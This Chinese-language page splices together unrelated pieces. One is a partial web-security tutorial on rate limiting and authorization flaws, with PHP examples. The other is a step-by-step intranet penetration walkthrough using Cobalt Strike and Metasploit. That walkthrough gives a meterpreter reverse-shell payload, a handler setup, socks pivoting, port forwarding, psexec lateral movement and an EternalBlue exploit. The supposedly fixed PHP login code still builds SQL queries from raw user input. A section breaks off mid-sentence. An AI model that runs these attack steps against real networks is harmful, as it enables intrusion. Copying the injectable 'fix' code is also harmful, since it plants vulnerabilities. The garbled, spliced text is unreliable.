1. **最小化修改**:修复未授权访问漏洞
时,避免重构现有的系统架构,重点加强身份验证和权限控制。
2. **身份验证和权限管理**:实施严格的用户身份验证机制,并通过会话或JWT等方式验证每个请求的合法性。
3. **细粒度的权限控制**:基于角色、ACL等方式实现细粒度的权限管理,确保用户只能执行授权操作。
4. **避免敏感信息泄露**:避免通过URL等方式传递敏感信息,增强系统的安全性。

通过这些修复方法,可以有效防止未授权访问漏洞,提升系统的安全性。  
#未授权访问 #Web安全 #身份验证 #权限控制 #安全修复


### 频率限制

#### 漏洞点

频率限制漏洞发生在没有对用户操作进行适当的限制时,特别是在关键业务操作中,如用户登录、账户注册、敏感操作等。攻击者可以利用频繁的请求,例如密码爆破、垃圾信息填充等,造成系统资源消耗或绕过正常的业务限制,从而进行攻击。

#### 漏洞代码

在没有频率限制的情况下,攻击者可以不断尝试密码或进行其他重复性请求:

```php
<?php
// 用户登录
if (isset($_POST['username']) && iss
et($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

/
/ 进行用户身份验证
$query = "SELECT * FROM users WHERE username
= '$username' AND password = '$password'";
    $result = mysqli_query($conn, $query);
    if (mysqli_num_rows($result) > 0) {
        echo "Login successful!";
    } else {
        echo "Invali
d credentials!";
}
}
?>
```

#### 漏洞产生的危害

- **密码爆破**:攻击者可以通过多次尝试登录,利用暴力破解等方式获取用户密码。
- **垃圾信息填充**:例如频繁发起订单、发表评论等,可能导致系统资源浪费、性能下降,影响正常用户使用。
- **拒绝服务攻击**:频繁请求可以占用服务器资源,导致合法用户无法使用服务,形成拒绝服务(DoS)攻击。
- **验证码绕过**:攻击者可以通过绕过验证码或多次尝试来提高成功率,从而进行暴力破解。

#### 漏洞产生的原因

- **缺乏请求频率限制**:关键操作缺乏限制,未对用户的请求频率进行有效控制。
- **没有使用有效的缓存机制**:没有使用缓存机制(如Memcached、Redis)来存储请求次数,从而缺乏对频繁操作的跟踪。
- **未设置多次失败后锁定机制**:没有在失败尝试超过一定次数后锁定用户或请求。

#### 修复思路

1. **最小化修改**:修复时,主要增强现有的频率限制,避免大规模改动现有代码。
2. **引入请求频率限制**:在每个关键操作前加入对IP、用户名、设备等的频率限制。例如,限制每分钟的登录尝试次数。
3. **增加锁定机制**:当尝试次数超过阈值时,暂时锁定账户,并显示适当的错误信息。
4. **引入验证码**:在多次失败后,强制显示验证码,防止暴力破解。
5. **使用缓存存储尝试次数**:使用Redis、Memcached等缓存系统来存储用户尝试次数,限制频率。

#### 漏洞修复

##### 1. **频率限制和锁定机制

利用缓存机制(如Redis)存储用户的尝试次数,达到阈值后限制登录:

<?php
session_start();
$redis = new Redis();
$redis->connect('localhost', 6379);

$username = $_POST['username'];
$attempts = $redis->get('login_attempts_' . $username);

// 如果尝试次数超过5次,锁定账户5分钟
if ($attempts >= 5) {
die('Too many login attempts. Please try again later.');
}

// 进行密码验证
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
$redis->del('login_attempts_' . $username); // 登录成功后清除尝试次数
} else {
$redis->incr('login_attempts_' . $username); // 增加尝试次数
$redis->expire('login_attempts_' . $username, 600); // 设置过期时间为10分钟
echo "Invalid credentials!";
}
?>

解释**:

- 每次登录时,首先检查用户的登录尝试次数。
- 如果超过设定阈值(如5次),则锁定账户并提示用户稍后再试。
- 使用Redis存储登录尝试
次数,过期时间设置为10分钟,防止频繁的暴力破解。

##### 2. **验证码引入


- **缺乏有效的访问控制**:未对每个请求和用户身份进行严格的访问控制,导致权限判断不到位。
- **信任用户输入**:直接使用用户输入的数据(如 URL 参数、表单数据等)进行权限验证,而没有对其进行适当的验证和限制。
- **不完善的权限检查**:在后台未对每个操作进行权限校验,只依
赖前端的展示权限,造成攻击者绕过前端控制。
- **未分配适当的用户角色**:用户角色和权限设置不当,导致某些用户能够执行本不该有的操作。

#### 修复思路

1. **最小化修改**:在修复越权漏洞时,应专注于添加或修改访问控制逻辑,避免大规模修改业务逻辑,确保兼容性。
2. **实施严格的访问控制**:根据每个用户的角色和权限对敏感资源进行细粒度的控制,避免任意用户访问他人数据。
3. **身份验证和权限校验**:对每个敏感操作都进行权限检查,确保用户只有在有权限时才能进行操作。
4. **输入验证和过滤**:不要信任用户输入,所有用户提供的数据必须经过验证和过滤,避免参数伪造和越权访问。

#### 漏洞修复

##### 1. **加强权限控制

修复方法:使用权限校验来确保用户只能访问自己的数据。例如,在数据库查询时,不允许直接使用来自客户端的 `user_id`,而应根据当前登录用户的身份来查询数据。

<?php
// 当前用户的ID
$current_user_id = $_SESSION['user_id']; // 通过会话获取当前登录用户的ID

// 用户只能访问自己的数据
$query = "SELECT * FROM users WHERE id = $current_user_id";
$result = mysqli_query($conn, $query);

// 显示用户信息
$row = mysqli_fetch_assoc($result);
echo "Hello, ".$row['name']."!";
?>

解释**:

- 当前用户的ID应该通过会话、Token等安全方式获取,而不是直接从用户输入中获取,防止攻击者篡改 `user_id`。

##### 2. **权限校验函数

修复方法:通过权限校验函数,确保每个请求的操作仅限于特定权限的用户执行。

<?php
// 权限检查函数
function check_permission($user_id, $action) {
// 检查用户是否有权限执行某个操作
if ($action == 'edit' && $_SESSION['role'] == 'admin') {
return true;
} elseif ($action == 'view' && $_SESSION['user_id'] == $user_id) {
return true;
}
return false;
}

// 用户输入的数据
$user_id = $_GET['user_id'];
$action = $_GET['action']; // 操作类型

// 检查是否有权限
if (check_permission($user_id, $action)) {
// 执行操作
echo "用户有权限执行此操作";
} else {
die('无权限访问');
}
?>

解释**:

- `check_permission()` 函数用来判断当前用户是否有权限执行某个特定操作。确保不同权限的用户只能执行被允许的操作。

##### 3. **禁止直接通过URL访问敏感资源

修复方法:避免通过URL直接访问敏感资源,改为使用会话或权限校验来访问。例如,通过检查登录状态或角色来限制访问。

<?php
// 通过会话验证用户身份
session_start();
if (!isset($_SESSION['user_id'])) {
die('请先登录');
}

// 如果用户尝试访问不属于他们的数据,进行检查
if ($_SESSION['user_id'] != $_GET['user_id']) {
die('无权限访问该用户数据');
}
?>

解释**:

- 使用 `session` 变量确保只有登录用户可以访问其自身数据,防止通过 URL 直接访问其他用户的数据。

#### 总结

1. **最小化修改**:修复越权漏洞时,尽量避免大规模的业务逻辑改动,专注于添加或修改访问控制逻辑,以确保现有系统互操作性。
2. **身份验证和权限校验*
*:在每个关键操作之前,必须严格校验用户的身份和权限,确保用户只能访问和操作自己有权访问的数据。
3. **严格的输入验证和过滤**:避免直接信任用户输入,确保所有敏感操作都经过严格的验证。
4. **会话和角色控制**:通过会话和角色控制访问权限,确保只有授权用户可以执行特定的操作。

通过这些措施,可以有效防止越权漏洞,提升系统的安全性。  
#越权漏洞 #Web安全 #权限控制 #安全修复

### 未授权访问/无鉴权/鉴权绕过

#### 漏洞点

未授权访问(或无鉴权/鉴权绕过)漏洞是指用户在没有适当身份验证和权限控制的情况下,访问本不应公开的资源或执行本不应允许的操作。这种漏洞通常是由于应用程序未正确实施身份验证机制或绕过了
权限验证,攻击者可通过直接访问未授权的 URL、篡改请求参数或使用其他手段绕过安全机制。

#### 漏洞代码

在以下示例中,应用程序直接根据传递的用户ID
返回数据,没有进行有效的权限验证,导致未授权的访问。
### 🛠 双网卡环境内网渗透方案(基于 Cobalt Strike 与 Metasploit)

在你当前的网络环境中,双网卡 Web 服务器充当了一个桥梁,连接了外网与内网。你已经通过 getshell 获取了 Web 服务器的权限,并通过蚁剑进行连接。接下来,我们将探讨如何使用 Cobalt Strike(CS)Metasploit(MSF) 进行进一步的内网渗透。下面提供了基于两种工具的详细步骤。

---

## 🌐 一、使用 Cobalt Strike 进行内网渗透

### 1. 设置 CS 监听器(Listener)
首先,需要在你当前的 Kali 上设置一个 CS 监听器,用于与目标服务器建立连接。

- 步骤**:
1. 打开 Cobalt Strike 客户端,连接到你的 CS Team Server。
2. 导航到 **Cobalt Strike -> Listeners**,点击 **Add**。
3. 配置监听器:
- **Payload
: windows/beacon_http/reverse_http
- Host: 你的 Kali IP 地址(公网或 VPS IP)
- Port: 80(或其他常用端口)
4. 点击 Save 以创建监听器。

### 2. 上传 CS 的 Beacon 到 Web 服务器
你已经通过蚁剑连接到 Web 服务器,接下来可以上传 CS 的 Beacon。

- 步骤**:
1. 在 CS 中生成 Payload:
- 导航到 **Attacks -> Packages -> Windows Executable (S)

- 选择刚刚创建的监听器,生成一个 .exe.dll 文件。
2. 使用蚁剑将生成的文件上传到 Web 服务器上,并通过命令执行它:
      shell:cmd.exe /c beacon.exe
      

3. 如果成功运行,CS 中会显示一个新的 Beacon 连接。

### 3. 配置 Socks Proxy 以渗透内网
为了通过 Web 服务器进一步渗透内网主机,可以利用 CS 的 Socks Proxy 功能。

- 步骤**:
1. 在 CS 中选择连接的 Beacon。
2. 右键 -> **Explore -> Socks Server**,启动 `Socks5` 代理(默认端口 `1080`)。
3. 在 Kali 上配置代理工具(如 `proxychains`),将其流量导向 CS 的 Socks 代理:
```bash
echo "socks5
127.0.0.1 1080" >> /etc/proxychains.conf
```
4. 使用 `proxychains` 运行内网扫描工具(如 `nmap`):
```bash
proxychains nmap -sT -Pn
192.168.1.0/24
```

### 4. 横向渗透和权限提升
- 利用 CS 的 **Elevate
功能,尝试提升权限。
- 使用 PsExec、WMI 等模块在内网进行横向移动:
  psexec \\192.168.1.10 -u admin -p password -c payload.exe
  


---

## 🛠 二、使用 Metasploit 进行内网渗透

### 1. 利用蚁剑执行 MSF Payload
既然已经通过蚁剑获得了 Web 服务器的 Shell,可以直接通过 MSF 生成 Payload 并在 Web 服务器上执行。

- 步骤**:
1. 在 Kali 中生成 MSF 的反向 Shell Payload:
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali IP> LPORT=4444 -f exe -o meterpreter.exe
```
2. 使用蚁剑将 `meterpreter.exe` 上传到 Web 服务器,并执行:
```shell
shell:cmd.exe /c meterpreter.exe
```

### 2. 在 MSF 中捕获会话
- **步骤**:
1. 启动 `msfconsole` 并设置监听器:
```bash
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Kali IP>
set LPORT 4444
run
```
2. 如果成功,你将在 MSF 中获得一个 `meterpreter` 会话。

### 3. 设置 Meterpreter 的 Port Forwarding
- 如果 Web 服务器能访问内网主机,可以使用 `portfwd` 将内网端口转发到你的 Kali。

```shell
meterpreter > portfwd add -l 8888 -p 3389 -r
192.168.1.10
```
这里将 Web 服务器的 3389(RDP)端口转发到 Kali 的 8888 端口。

### 4. 使用 MSF 的 Socks Proxy 进行内网渗透
1. **在 meterpreter 中启动 socks 代理**:
```shell
meterpreter > run autoroute -s
192.168.1.0/24
meterpreter > run socks_proxy
```
2. **配置 proxychains**:
```bash
echo "socks4
127.0.0.1 1080" >> /etc/proxychains.conf
```
3. **通过 proxychains 进行内网扫描**:
```bash
proxychains nmap -sS -Pn
192.168.1.0/24
```

### 5. 横向渗透(MS17-010、EternalBlue)
- 使用 MSF 的 `exploit/windows/smb/ms17_010_eternalblue` 模块来进行内网主机的攻击:
```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS
192.168.1.20
set LHOST <Kali IP>
run
```

---

##
🔑 关键点总结**

1. Cobalt Strike 适合通过 Beacon 和 Socks 代理对内网进行隐蔽渗透。
2. Metasploit 提供强大的内网扫描、漏洞利用和横向移动能力。
3. 利用 双网卡服务器 作为桥梁,结合 CS 和 MSF 的代理功能,能有效地渗透无法直接访问的内网区域。

---

### 关键词
#CobaltStrike #Metasploit #内网渗透 #双网卡服务器 #蚁剑 #Socks代理 #横向渗透 #权限提升
 
 
Back to Top